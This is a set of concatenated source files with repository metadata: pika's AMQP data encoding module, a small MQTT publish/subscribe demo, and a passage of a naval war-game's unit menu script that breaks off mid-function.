:param list pieces: Already encoded values
:param str value: String value to encode
:rtype: int
"""
encoded_value = as_bytes(value)
length = len(encoded_value)
# 4.2.5.3
# Short strings, stored as an 8-bit unsigned integer length followed by zero
# or more octets of data. Short strings can carry up to 255 octets of UTF-8
# data, but may not contain binary zero octets.
# ...
# 4.2.5.5
# The server SHOULD validate field names and upon receiving an invalid field
# name, it SHOULD signal a connection exception with reply code 503 (syntax
# error).
# -> validate length (avoid truncated utf-8 / corrupted data), but skip null
# byte check.
if length > 255:
raise exceptions.ShortStringTooLong(encoded_value)
pieces.append(struct.pack('B', length))
pieces.append(encoded_value)
return 1 + length
if PY2:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
# Purely for compatibility with original python2 code. No idea what
# and why this does.
value = encoded[offset:offset + length]
try:
value = bytes(value)
except UnicodeEncodeError:
pass
offset += length
return value, offset
else:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
value = encoded[offset:offset + length]
try:
value = value.decode('utf8')
except UnicodeDecodeError:
pass
offset += length
return value, offset
def encode_table(pieces, table):
"""Encode a dict as an AMQP table appending the encded table to the
pieces list passed in.
:param list pieces: Already encoded frame pieces
:param dict table: The dict to encode
:rtype: int
"""
table = table or {}
length_index = len(pieces)
pieces.append(None) # placeholder
tablesize = 0
for (key, value) in table.items():
tablesize += encode_short_string(pieces, key)
tablesize += encode_value(pieces, value)
pieces[length_index] = struct.pack('>I', tablesize)
return tablesize + 4
def encode_value(pieces, value): # pylint: disable=R0911
"""Encode the value passed in and append it to the pieces list returning
the the size of the encoded value.
:param list pieces: Already encoded values
:param any value: The value to encode
:rtype: int
"""
if PY2:
if isinstance(value, basestring):
if isinstance(value, unicode_type):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
else:
# support only str on Python 3
if isinstance(value, basestring):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
if isinstance(value, bytes):
pieces.append(struct.pack('>cI', b'x', len(value)))
pieces.append(value)
return 5 + len(value)
if isinstance(value, bool):
pieces.append(struct.pack('>cB', b't', int(value)))
return 2
if isinstance(value, long):
pieces.append(struct.pack('>cq', b'l', value))
return 9
elif isinstance(value, int):
try:
packed = struct.pack('>ci', b'I', value)
pieces.append(packed)
return 5
except struct.error:
packed = struct.pack('>cq', b'l', long(value))
pieces.append(packed)
return 9
elif isinstance(value, decimal.Decimal):
value = value.normalize()
if value.as_tuple().exponent < 0:
decimals = -value.as_tuple().exponent
raw = int(value * (decimal.Decimal(10)**decimals))
pieces.append(struct.pack('>cBi', b'D', decimals, raw))
else:
# per spec, the "decimals" octet is unsigned (!)
pieces.append(struct.pack('>cBi', b'D', 0, int(value)))
return 6
elif isinstance(value, datetime):
pieces.append(
struct.pack('>cQ', b'T', calendar.timegm(value.utctimetuple())))
return 9
elif isinstance(value, dict):
pieces.append(struct.pack('>c', b'F'))
return 1 + encode_table(pieces, value)
elif isinstance(value, list):
list_pieces = []
for val in value:
encode_value(list_pieces, val)
piece = b''.join(list_pieces)
pieces.append(struct.pack('>cI', b'A', len(piece)))
pieces.append(piece)
return 5 + len(piece)
elif value is None:
pieces.append(struct.pack('>c', b'V'))
return 1
else:
raise exceptions.UnsupportedAMQPFieldException(pieces, value)
def decode_table(encoded, offset):
"""Decode the AMQP table passed in from the encoded value returning the
decoded result and the number of bytes read plus the offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
"""
result = {}
tablesize = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
limit = offset + tablesize
while offset < limit:
key, offset = decode_short_string(encoded, offset)
value, offset = decode_value(encoded, offset)
result[key] = value
return result, offset
def decode_value(encoded, offset): # pylint: disable=R0912,R0915
"""Decode the value passed in returning the decoded value and the number
of bytes read in addition to the starting offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
:raises: pika.exceptions.InvalidFieldTypeException
"""
# slice to get bytes in Python 3 and str in Python 2
kind = encoded[offset:offset + 1]
offset += 1
# Bool
if kind == b't':
value = struct.unpack_from('>B', encoded, offset)[0]
value = bool(value)
offset += 1
# Short-Short Int
elif kind == b'b':
value = struct.unpack_from('>B', encoded, offset)[0]
offset += 1
# Short-Short Unsigned Int
elif kind == b'B':
value = struct.unpack_from('>b', encoded, offset)[0]
offset += 1
# Short Int
elif kind == b'U':
value = struct.unpack_from('>h', encoded, offset)[0]
offset += 2
# Short Unsigned Int
elif kind == b'u':
value = struct.unpack_from('>H', encoded, offset)[0]
offset += 2
# Long Int
elif kind == b'I':
value = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
# Long Unsigned Int
elif kind == b'i':
value = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
# Long-Long Int
elif kind == b'L':
value = long(struct.unpack_from('>q', encoded, offset)[0])
offset += 8
# Long-Long Unsigned Int
elif kind == b'l':
value = long(struct.unpack_from('>Q', encoded, offset)[0])
offset += 8
# Float
elif kind == b'f':
value = long(struct.unpack_from('>f', encoded, offset)[0])
offset += 4
# Double
elif kind == b'd':
value = long(struct.unpack_from('>d', encoded, offset)[0])
offset += 8
# Decimal
elif kind == b'D':
decimals = struct.unpack_from('B', encoded, offset)[0]
offset += 1
raw = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
value = decimal.Decimal(raw) * (decimal.Decimal(10)**-decimals)
# https://github.com/pika/pika/issues/1205
# Short Signed Int
elif kind == b's':
value = struct.unpack_from('>h', encoded, offset)[0]
offset += 2
# Long String
elif kind == b'S':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset:offset + length]
try:
value = value.decode('utf8')
except UnicodeDecodeError:
pass
offset += length
elif kind == b'x':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset:offset + length]
offset += length
# Field Array
elif kind == b'A':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
offset_end = offset + length
value = []
while offset < offset_end:
val, offset = decode_value(encoded, offset)
value.append(val)
# Timestamp
elif kind == b'T':
value = datetime.utcfromtimestamp(
struct.unpack_from('>Q', encoded, offset)[0])
offset += 8
# Field Table
elif kind == b'F':
(value, offset) = decode_table(encoded, offset)
# Null / Void
elif kind == b'V':
value = None
else:
raise exceptions.InvalidFieldTypeException(kind)
return value, offset
| {
"repo_name": "pika/pika",
"path": "pika/data.py",
"copies": "1",
"size": "9746",
"license": "bsd-3-clause",
"hash": -2882227536693071400,
"line_mean": 29.2670807453,
"line_max": 80,
"alpha_frac": 0.5896778165,
"autogenerated": false,
"ratio": 4.002464065708419,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5092141882208419,
"avg_score": null,
"num_lines": null
} |
from paho.mqtt import publish as pub
from paho.mqtt import subscribe as sub
from datetime import datetime
import threading as thrd
CYBER_MSGFMT = "CYBERTIME [%s]"
CYBER_TOPIC = "cyberman"
CYBER_MQTTMSGFMT = "dup:%s, info:%s, mid:%s, payload:[%s], qos:%s, retain:%s, state:%s, timestamp:%s, topic:[%s]"
def on_message(client, userdata, message):
#print("SUB: [%s] [%s]" % (dir(client), dir(message)))
print("PUB: userdata [%s]" % userdata)
print("PUB: message "+CYBER_MQTTMSGFMT % (message.dup, message.info, message.mid, message.payload, message.qos,
message.retain, message.state, message.timestamp, message.topic))
return 0
def publish_msgs():
msgs = []
for i in range(3):
msg = {
'topic': CYBER_TOPIC,
'payload': CYBER_MSGFMT%datetime.now(),
'qos': 1,
}
msgs.append(msg)
pub.multiple(msgs)
def publish_single():
pub.single(CYBER_TOPIC, CYBER_MSGFMT%datetime.now())
subthr = thrd.Thread(target=sub.callback, args=(on_message, CYBER_TOPIC, 1, "PUB received your message"), name="SUBINPUB")
subthr.start()
print("Start subscribe on publisher ..")
publish_single()
publish_msgs()
publish_single()
subthr.join()
| {
"repo_name": "Zex/neural-node",
"path": "optm/mqttpub.py",
"copies": "1",
"size": "1282",
"license": "mit",
"hash": -8280347771877716000,
"line_mean": 27.4888888889,
"line_max": 122,
"alpha_frac": 0.6521060842,
"autogenerated": false,
"ratio": 3.0669856459330145,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.9072060033752573,
"avg_score": 0.029406339276088392,
"num_lines": 45
} |
#Amram Menu Items.
import sys, os, math, json, operator
from os.path import dirname, abspath, join, normpath, isfile
sys.path.append(abspath(join(dirname(__file__), 'Amram_Script_Data', '..', 'log')))
sys.path.append(abspath(join(dirname(__file__), 'Magazine_Generator_Module')))
#script data in, well, script data, '..' to gain access to logs, and logs to access the scenario report file.
from Amram_Utilities import *
from Amram_AI_Weapon_Lists import *
from magazine_generator import *
from Alliances import *
#importing from stock
from DevMode import *
from MissionEditCommands import *
from UnitCommands import *
from Landing import *
from SecondaryHook import *
#the Menu files are superceded by this file, import them to use some stuff.
from StockEditMenu import *
from StockMenu import *
#scenario report log file path
reportfile_path = 'log/scenario_script_report.txt'
#import hotshot, hotshot.stats
#import pstats
def BuildUnitEditMenu(UnitMenu, UnitInfo):
UnitMenu.Clear()
BuildAmramMenu(UnitMenu, UnitInfo, EditMode=True)
#prof = hotshot.Profile("log/UnitEditMenu.prof")
#prof.runcall(BuildAmramMenu, UnitMenu, UnitInfo, EditMode=True)
#prof.close()
def BuildGroupEditMenu(GroupMenu, GroupInfo):
GroupMenu.Clear()
BuildAmramMenu(GroupMenu, GroupInfo, EditMode=True)
#prof = hotshot.Profile("log/GroupEditMenu.prof")
#prof.runcall(BuildAmramMenu, GroupMenu, GroupInfo, EditMode=True)
#prof.close()
def BuildGroupMenu(GroupMenu, GroupInfo):
GroupMenu.Clear()
BuildAmramMenu(GroupMenu, GroupInfo)
#prof = hotshot.Profile("log/GroupMenu.prof")
#prof.runcall(BuildAmramMenu, GroupMenu, GroupInfo)
#prof.close()
def BuildUnitMenu(UnitMenu, UnitInfo):
UnitMenu.Clear()
BuildAmramMenu(UnitMenu, UnitInfo)
#prof = hotshot.Profile("log/UnitMenu.prof")
#prof.runcall(BuildAmramMenu, UnitMenu, UnitInfo)
#prof.close()
def BuildAmramMenu(Menu, interface, EditMode = False):
Menu.Clear()
Menu.SetStayOpen(1)
Selected = SelectedUnitInventory(interface)
#store the Selected list, we need to do it here under the operative interface.
#it cannot be stored for the group, so it needs to be stored on every selected unit
#annoying, but necessary until I can get AddItemUIWithTextParam('','','Target','') working right.
#test for group:
try:
#GetPlatformId ONLY works on UnitInfo, so if we throw an error, we got called by GroupInfo instead
test = interface.GetPlatformId()
group = False
single = True
except:
group = True
single = False
Flight = False
if group:
#we're a group, proceed as such
GI = interface
for unit in xrange(interface.GetUnitCount()):
UI = GI.GetPlatformInterface(unit)
BB = UI.GetBlackboardInterface()
Write_Message_List(BB, 'Selected', Selected)
if UI.HasFlightPort():
Flight = True
else:
#we're solo
UI = interface
BB = UI.GetBlackboardInterface()
Write_Message_List(BB, 'Selected', Selected)
if UI.HasFlightPort():
Flight = True
#######################
## ##
## Unit Editing ##
## ##
#######################
if EditMode and single:
loadouts_dict, aircraft_dict = GetLoadouts(interface)
else:
loadouts_dict = None
aircraft_dict = None
#######################
## ##
## Unit Commands ##
## ##
#######################
# Multiplayer options
if single:
MultiplayerYieldTakeOwnership(Menu, interface)
if EditMode:
Menu.AddItem('Unit Operation','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
# Navigation commands
NavigationCommands(Menu, interface, Selected, EditMode)
# Combat commands
if Selected['Launchers'] > 0:
CombatMenuItems(Menu, interface, Selected)
# Systems commands
SystemsMenuItems(Menu, interface, Selected)
# Management commands
ManagementMenuItems(Menu, interface, Selected)
#EditMenu Unit Creation
if EditMode:
Menu.EndSubMenu()
Unit_Characteristics_Menu(Menu, interface, Selected, loadouts_dict, aircraft_dict, Flight, group, single)
#Dev Mode commands
if single:
BuildDeveloperMenu(Menu, interface)
def Get_Alliance_Members(SM, side_name):
current_year = DateString_DecimalYear(SM.GetScenarioDateAsString())
members = []
def iterate_snapshots(alliance):
for dates in Alliance_List[alliance]:
Start = Alliance_List[alliance][dates]['Start']
Stop = Alliance_List[alliance][dates]['Stop']
if Start < current_year < Stop:
return dates
def iterate_members(alliance, snapshot):
for member in Alliance_List[alliance][snapshot]['Members']:
if member in Alliance_List and member != alliance:
#so we can use Germany as an alliance for east, and west combined with Germany.
initial_snapshot = iterate_members(member, iterate_snapshots(member))
else:
if member in Aliases:
members.append(Aliases[member])
else:
members.append(member)
iterate_members(side_name, iterate_snapshots(side_name))
return sorted(members)
def AmramCreateAllianceUnitMenu(Menu, SM):
debug = open('log/names.txt','w')
page_count = 25
side_name = SM.GetAllianceCountry(SM.GetUserAlliance())
country_filter = SM.GetFilterByCountry()
categories = {'Surface':'Surface','Submarine':'Sub','Air Fixed Wing':'AirFW','Helo':'Helo','Land':'Land','Mine/Torpedo':'Mine'}
category_list = ['Surface','Submarine','Air Fixed Wing','Helo','Land','Mine/Torpedo']
alliance = False
def ReturnUnitsListFromGetPlatformArray(platforms, filter):
units = []
for n in xrange(platforms.Size()):
platform = platforms.GetString(n)
if platform not in filter:
units.append(platform)
return tuple(units)
def DoSubMenu(Units, country, category):
nPlatforms = len(Units[country][category])
if (nPlatforms > page_count):
nSubmenus = nPlatforms/page_count + 1
for sm in xrange(nSubmenus):
Menu.AddItem('Page %d' % (sm+1),'')
Menu.BeginSubMenu()
nPlatformsPage = min(page_count, nPlatforms - sm*page_count)
for n in xrange(nPlatformsPage):
className = Units[country][category][n+sm*page_count]
NatoName = SM.GetDisplayName(className)
if category in ['Surface', 'Submarine']:
qty = GetUnitQty(className)
else:
qty = ''
if SM.IsUsingNATONames() and className != NatoName:
Menu.AddItemUIWithTextParam('%s%s (%s)' % (qty, NatoName, className), 'AddNewPlatform', 'Datum', className)
else:
Menu.AddItemUIWithTextParam('%s%s' % (qty, className), 'AddNewPlatform', 'Datum', className)
Menu.EndSubMenu()
else:
for className in Units[country][category]:
NatoName = SM.GetDisplayName(className)
qty = GetUnitQty(className)
if SM.IsUsingNATONames() and className != NatoName:
Menu.AddItemUIWithTextParam('%s%s (%s)' % (qty, NatoName, className), 'AddNewPlatform', 'Datum', className)
else:
Menu.AddItemUIWithTextParam('%s%s' % (qty, className), 'AddNewPlatform', 'Datum', className)
def GetUnitQty(unit_class):
names_array = SM.QueryDatabase('platform_names',unit_class,'DateInService, DateOutService')
if names_array.GetRow(0).GetString(0) == 'Error':
return ''
else:
filter = SM.GetFilterByYear()
if filter:
current_year = DateString_DecimalYear(SM.GetScenarioDateAsString())
names = 0
for name in xrange(names_array.Size()):
try:
date1 = float(names_array.GetRow(name).GetString(0))
date2 = float(names_array.GetRow(name).GetString(1))
except ValueError:
#some units have notes instead, see burkes for example
date1 = 2999
date2 = 1000
if date1 <= current_year <= date2:
names += 1
return '%s - ' % names
else:
return '%s - ' % names_array.Size()
if side_name in Aliases:
side_name = Aliases[side_name]
#are we an alliance:
if side_name in Alliance_List:
alliance = True
new_members = sorted(Get_Alliance_Members(SM, side_name))
members = ['ThIsCoUnTrYdOeSnTeXiSt']
for country in new_members:
members.append(country)
else:
members = ['ThIsCoUnTrYdOeSnTeXiSt', side_name]
unit_filter = []
SM.SetFilterByCountry(1)
units = {}
for country in members:
for category in category_list:
SM.SetAllianceDefaultCountry(SM.GetUserAlliance(),country)
platforms = SM.GetPlatformListByClass(categories[category])
unit_list = ReturnUnitsListFromGetPlatformArray(platforms, unit_filter)
if len(unit_list) > 0:
for unit in unit_list:
unit_filter.append(unit)
if country == 'ThIsCoUnTrYdOeSnTeXiSt':
try:
units['No Assigned Country'][category] = unit_list
except KeyError:
units['No Assigned Country'] = {category:unit_list}
else:
try:
units[country][category] = unit_list
except KeyError:
units[country] = {category:unit_list}
if not country_filter:
for category in category_list:
SM.SetAllianceDefaultCountry(SM.GetUserAlliance(),'ThIsCoUnTrYdOeSnTeXiSt')
SM.SetFilterByCountry(0)
platforms = SM.GetPlatformListByClass(categories[category])
unit_list = ReturnUnitsListFromGetPlatformArray(platforms, unit_filter)
if len(unit_list) > 0:
try:
units['Unfiltered'][category] = unit_list
except KeyError:
units['Unfiltered'] = {category:unit_list}
SM.SetFilterByCountry(country_filter)
SM.SetAllianceDefaultCountry(SM.GetUserAlliance(),side_name)
#sort the country listing
new_list = []
filter = ['Unfiltered', 'No Assigned Country']
country_list = sorted(units.keys())
unfiltered = False
unassigned = False
for country in country_list:
if country not in filter:
new_list.append(country)
else:
if country == 'Unfiltered':
unfiltered = True
else:
unassigned = True
if unfiltered:
new_list.append('Unfiltered')
if unassigned:
new_list.append('No Assigned Country')
#begin alliance menu function.
Menu.AddItem('Create unit','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for country in new_list:
if len(units[country].keys()) > 0:
if country != 'Unfiltered':
Menu.AddItem('%s' % country,'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
else:
Menu.AddItem('Other countries','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for category in category_list:
if category in units[country] and len(units[country][category]) > 0:
Menu.AddItem('%s' % category,'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
DoSubMenu(units, country, category)
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.EndSubMenu()
def MultiplayerYieldTakeOwnership(Menu, interface):
if (interface.IsMultiplayerActive()):
if (not interface.IsPlayerControlled()):
if (interface.IsAvailable()):
Menu.AddItem('Take control', 'TakeControl')
return
else:
controller = interface.GetController()
Menu.AddItem('Unavailable interface (%s)' % controller, '')
return
else:
Menu.AddItem('Release control', 'ReleaseControl')
def NavigationCommands(Menu, interface, Selected, EditMode):
Menu.AddItem('Navigation','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if Selected['Ship'] > 0 or Selected['Air'] > 0 or Selected['Sub'] > 0:
leads = Selected['FormLeader']
members = Selected['FormMember']
sprint = Selected['FormModeSprint']
pace = Selected['FormModePace']
Menu.AddItem('Formation Options',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if leads > 0 or members > 0:
Menu.AddItem('Leaders: %s, Members: %s' % (leads, members),'')
Menu.AddItemUI(' Set Formation Leader', 'FormationLeaderInput', 'Target')
if members > 0:
Menu.AddItemWithTextParam(' Leave Formation', 'OptionHandler', 'Formation_Member|Function|-2')
Menu.AddItem('Sprinting: %s, Pacing: %s' % (sprint, pace),'')
Menu.AddItemWithTextParam(' Formation Follow Leader', 'OptionHandler', 'Formation_Mode_Sprint_Pace|Function|1')
Menu.AddItemWithTextParam(' Formation Sprint/Drift', 'OptionHandler', 'Formation_Mode_Sprint_Pace|Function|2')
Menu.AddItemWithTextParam(' Lock Formation Settings', 'OptionHandler', 'FormationEdit|Function|0')
Menu.AddItemWithTextParam(' Unlock Formation Settings', 'OptionHandler', 'FormationEdit|Function|1')
Menu.AddItemWithTextParam(' Set Formation North Bearing', 'OptionHandler', 'Formation_Mode_RN|Function|1')
Menu.AddItemWithTextParam(' Set Formation Relative Bearing', 'OptionHandler', 'Formation_Mode_RN|Function|0')
Menu.EndSubMenu()
if Selected['Ship'] > 0 or Selected['Air'] > 0 or Selected['Sub'] > 0 or EditMode:
Menu.AddItem('Heading Options',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Set Heading', 'OptionHandler', 'HeadingStandard|Function|1')
Menu.AddItemUI('Enter New Heading', 'HeadingGetInput', 'Text Enter New Heading')
if EditMode and Selected['UnitCount'] > 1:
Menu.AddItemUI('Rotate group', 'RotateGroup', 'Heading')
if Selected['TargetSet'] or Selected['TargetTrack']:
Menu.AddItemWithTextParam('Intercept Target', 'OptionHandler', 'Intercept|Task|Start')
Menu.EndSubMenu()
if Selected['Air'] > 0:
Menu.AddItemWithTextParam('Set Aircraft Cruise Alt/Speed', 'OptionHandler', 'CruiseEnforcement|Task|Start~5~-1')
Menu.AddItem('Altitude Options','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Set Altitude Cruise', 'OptionHandler', 'AltitudeStandard|Function|Cruise')
if Selected['TargetSet'] or Selected['TargetTrack']:
Menu.AddItemWithTextParam('Match Target Altitude', 'OptionHandler', 'AltitudeMatch|Function|0')
Menu.AddItemUIWithParam('Enter New Altitude', 'AltitudeGetInput', 'Text Enter New Altitude', 1)
Menu.AddItemWithTextParam('Set Altitude Max(%dm)' % Selected['Alt+'], 'OptionHandler', 'AltitudeStandard|Function|%s' % Selected['Alt+'])
alts = [32000, 30000, 28000, 26000, 24000, 22000, 20000, 18000, 16000, 14000, 12000, 10000, 8000, 6000, 5000, 4000, 3000, 2000, 1000, 500, 250, 100, 50]
for alt in alts:
if Selected['Alt+'] >= alt:
Menu.AddItemWithTextParam('Set Altitude %dm' % alt, 'OptionHandler', 'AltitudeStandard|Function|%d' % alt)
Menu.EndSubMenu()
if Selected['Sub'] > 0:
Menu.AddItem('Depth Options','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUIWithParam('Enter New depth', 'AltitudeGetInput', 'Text Enter New Depth', 2)
Menu.AddItemWithTextParam('Set Depth Periscope', 'OptionHandler', 'AltitudeStandard|Function|Periscope')
Menu.AddItemWithTextParam('Set Depth Missile', 'OptionHandler', 'AltitudeStandard|Function|Missile')
depths = [30, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500, 600, 700]
for depth in depths:
if Selected['Depth+'] >= depth:Menu.AddItemWithTextParam('Set Depth %dm' % depth, 'OptionHandler', 'AltitudeStandard|Function|-%d' % depth)
Menu.AddItemWithTextParam('Set Depth Max(%dm)' % Selected['Depth+'], 'OptionHandler', 'AltitudeStandard|Function|-%d' % Selected['Depth+'])
Menu.EndSubMenu()
if Selected['Speed+'] > 0 or Selected['Speed-'] > 0:
Menu.AddItem('Speed Options','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Cruise', 'OptionHandler', 'SetSpeed|Function|Cruise')
if Selected['HasThrottle']:
Menu.AddItem('Throttle','')
if 1==1:
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for throttle in xrange(11):
throttle_set = throttle / 10.0
show_throttle = throttle_set * 100
Menu.AddItemWithTextParam('Throttle %d%%' % show_throttle, 'OptionHandler', 'SetThrottle|Function|%f' % throttle_set)
if Selected['FixedWing'] > 0:
for throttle in range(6, 11):
throttle_set = throttle / 5.0
show_throttle = throttle_set * 100 - 100
Menu.AddItemWithTextParam('Throttle AB %d%%' % show_throttle, 'OptionHandler', 'SetThrottle|Function|%f' % throttle_set)
Menu.EndSubMenu()
if 1==1:
Menu.AddItem('Knots - Relative',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
speeds = [500, 200, 100, 50, 10, 5, 1]
for speed in sorted(speeds, reverse = True):
if Selected['Speed+'] >= speed:
Menu.AddItemWithTextParam('Speed +%dkts' % speed, 'OptionHandler', 'SetSpeed+|Function|%d' % speed)
for speed in sorted(speeds):
if Selected['Speed-'] >= speed:
Menu.AddItemWithTextParam('Speed -%dkts' % speed, 'OptionHandler', 'SetSpeed+|Function|-%d' % speed)
Menu.EndSubMenu()
Menu.EndSubMenu()
if Selected['Ship'] > 0 or Selected['Air'] > 0 or Selected['Sub'] > 0 or Selected['MobileLand'] > 0 and Selected['Speed+'] > 0:
Menu.AddItem('Waypoint Options','')
Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUI('Add Waypoint', 'CreateWaypointScript', 'Datum')
Menu.AddItemUI('Remove Waypoint', 'RemoveWaypointScript', 'Text Enter Number of Waypoint to Remove\n Count begins with zero')
Menu.AddItem('Clear all', 'ClearWaypoints')
if Selected['UnitCount'] > 1:
Menu.AddItemWithTextParam('Loop Group Waypoints', 'OptionHandler', 'WaypointLoop|Function|1')
Menu.AddItemWithTextParam('Dont Group Loop Waypoints', 'OptionHandler', 'WaypointLoop|Function|0')
else:
if (interface.GetNavLoopState()):
Menu.AddItemWithParam('Waypoint Loop off', 'SetNavLoopState', 0)
else:
Menu.AddItemWithParam('Waypoint Loop on', 'SetNavLoopState', 1)
Menu.EndSubMenu()
Menu.EndSubMenu()
def CombatMenuItems(Menu, interface, Selected):
Menu.AddItem('Combat','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
TargetRestrictionsMenu(Menu, interface, Selected)
if Selected['UnitCount'] > 1:
group_string = ['Group ','s']
else:
group_string = ['','']
Menu.AddItemUI('Set %s Target' % group_string[0],'OptionSetTargeting', 'Target')
if Selected['TargetSet'] > 0:
Menu.AddItemWithTextParam('Clear %sTarget%s' % (group_string[0], group_string[1]),'OptionHandler', 'Target|Function|-1')
Menu.AddItem('Engage Target','');Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if 1==1:
#Menu.AddItem('Launch Weapon At Target', '');Menu.BeginSubMenu();Menu.SetStayOpen(1)
#if 1==1:
# loaded_list = Selected['WeaponList']
# weapon_list = loaded_list.keys()
# weapon_list.sort()
# for weapon_n in xrange(len(weapon_list)):
# if loaded_list[weapon_list[weapon_n]][0] > 0:
# Menu.AddItemUIWithParam('%s : %d' % (weapon_list[weapon_n], loaded_list[weapon_list[weapon_n]][0]), 'MenuLaunchCommand', 'Target', weapon_n)
# Menu.EndSubMenu()
if Selected['Air'] > 0:
Menu.AddItemWithTextParam('Intercept Target', 'OptionHandler','Intercept|Task|Start~1~0')
if Selected['HasBombs']:
if Selected['TargetSet']:
Menu.AddItemWithTextParam('Dive Bomb Selected Target(s)', 'OptionHandler','BombRunInitialized|Erase|1;Bombing_Complete|Erase|1;BombDatum|Erase|1;Style|Set|dive;BombRun|Task|Start~1~0')
Menu.AddItemWithTextParam('Level Bomb Selected Target(s)', 'OptionHandler','BombRunInitialized|Erase|1;Bombing_Complete|Erase|1;BombDatum|Erase|1;Style|Set|level;BombRun|Task|Start~1~0')
Menu.AddItemWithTextParam('Loft Bomb Selected Target(s)', 'OptionHandler','BombRunInitialized|Erase|1;Bombing_Complete|Erase|1;BombDatum|Erase|1;Style|Set|loft;BombRun|Task|Start~1~0')
else:
Menu.AddItemUI('Set Dive Bomb Target', 'BombRunSetTargetDive', 'Target')
Menu.AddItemUI('Set Level Bomb Target', 'BombRunSetTargetLevel', 'Target')
Menu.AddItemUI('Set Loft Bomb Target', 'BombRunSetTargetLoft', 'Target')
if Selected['HasGBU']:
Menu.AddItemWithTextParam('Guided Bomb Target','OptionHandler', 'GBUBombRun|Task|Start~1~0')
Menu.EndSubMenu()
Menu.AddItem('Engage Datum',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if 1==1:
Menu.AddItem('Launch Weapon At Datum', '');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
loaded_list = Selected['WeaponList']
weapon_list = loaded_list.keys()
weapon_list.sort()
for weapon_n in xrange(len(weapon_list)):
Menu.AddItemUIWithParam('%s : %d' % (weapon_list[weapon_n], loaded_list[weapon_list[weapon_n]][0]), 'MenuLaunchCommand', 'Datum', weapon_n)
Menu.EndSubMenu()
if Selected['Air'] == 1:
if Selected['HasBombs']:
Menu.AddItemUI('Dive Bomb Datum', 'BombRunSetDatumDive', 'Datum')
Menu.AddItemUI('Level Bomb Datum', 'BombRunSetDatumLevel', 'Datum')
Menu.AddItemUI('Loft Bomb Datum', 'BombRunSetDatumLoft', 'Datum')
Menu.EndSubMenu()
Menu.EndSubMenu()
def TargetRestrictionsMenu(Menu, interface, Selected):
#toggles and limits on attacks.
Menu.AddItem('Target Restrictions','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItem('Category Limits','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
engage_classes = [['Air',['All Air',32,1,4],['Fixed Wing',33,1,5],['Helo',34,1,6]],['Ground',['All Ground',256,2,9],['Ground Vehicle',258,2,10],['Airfield',257,24,11]],['Missile',['All Missile',64,1,7]],['Ship',['All Surface',16,4,0],['Small Surface',17,6,1],['Large Surface',18,12,2],['Carrier',22,24,3]],['Sub',['All Submarine',129,1,8]]]
for cat in engage_classes:
Menu.AddItem('%s' % cat[0],'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for subcat in cat:
if type(subcat) == type([]):
current_limit = Selected['%s_EngageLimit' % subcat[1]]
if current_limit == -1:
current_limit = subcat[2]
Menu.AddItem('%s limit (%s)' % (subcat[0], current_limit),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItemUIWithParam('Input Limit','CombatLimitsInputHandler','Text Please Enter New %s Engage Limit' % subcat[0],subcat[3])
Menu.AddItem('From List','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
for n in [0,1,2,4,6,8,10,12,14,16,19,21,24,27,30,35,40,45,50]:
if n == subcat[2]:
tag = ' (default)'
else:
tag = ''
Menu.AddItemWithTextParam('%d%s' % (n,tag),'OptionHandler', '%s_EngageLimit|Set|%s'% (subcat[1],n))
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.AddItemWithTextParam('Reset Category Limits','DefaultCombatLimitInputs', 'EngageLimits')
Menu.EndSubMenu()
Menu.AddItem('ID Specific Limits','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
IDEngageLimitMenu(interface, Menu)
Menu.EndSubMenu()
if 1==1:
EngagementZoneMenu(interface, Menu)
Menu.EndSubMenu()
Menu.EndSubMenu()
def IDEngageLimitMenu(interface, Menu):
#compile a dict of entries, sorted by categories
#dict>
# CATEGORY>
